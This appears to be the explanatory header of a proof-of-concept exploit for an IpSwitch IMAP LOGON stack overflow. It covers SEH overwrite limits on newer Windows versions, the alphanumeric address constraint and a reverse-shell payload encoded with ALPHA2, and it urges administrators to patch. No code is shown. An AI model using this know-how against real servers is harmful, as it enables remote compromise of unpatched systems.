IpSwitch IMAP Server LOGON stack overflow.
Software Hole discovered by iDEFENSE

First, some information for the few of you that know how this stuff works.
The reason you see no SP2 or 2003 offsets is because of Windows SEH checks.
Thats right, in this one situation, They've stopped hackers from exploiting the
machine. At least with as much research as I care to do. The problem lies in the
fact that only alpha numeric memory addresses can be used in this exploit.
So what lies within the few regions of memory that is alpha numeric safe? Only
system DLLs.(Well also a 7000 byte TEB block section, which doesn't really
produce much either). So any SEH address overwritten that points to a system
DLL will fail past Windows XP SP2. From what I've read and the few tricks I've
tried, Theirs no way currently to get around the protection In my situation.

For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because
of two reasons, While I've developed along with skylined an alpha numeric shellcode
to handle the stack protections in Windows XP/2K3, I don't think he's ready to release
it yet.So, when It does come around, you can use that and re-adjust the stack
accordingly for proper exploitation of SP1.

The size we have on the stack is too small for a bindshell, but big enough for a
reverse shell! So I use ALPHA2's decoder and encoder (modified) to write info to
reverse shell, then encode it.
visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php
for more information.

Now, for the "impact assessment".
Because this doesn't work on SP2 / 2003, the 53 million users that use Imail should
mostly be safe from complete ownage. But, Do not let this fact let you not patch your
server! This exploit, sent with any offset, will still crash your IMAP server!
With that said, Thier is still a small amount of servers online that run one of these
targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the
push administrators need to patch their software.

For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.
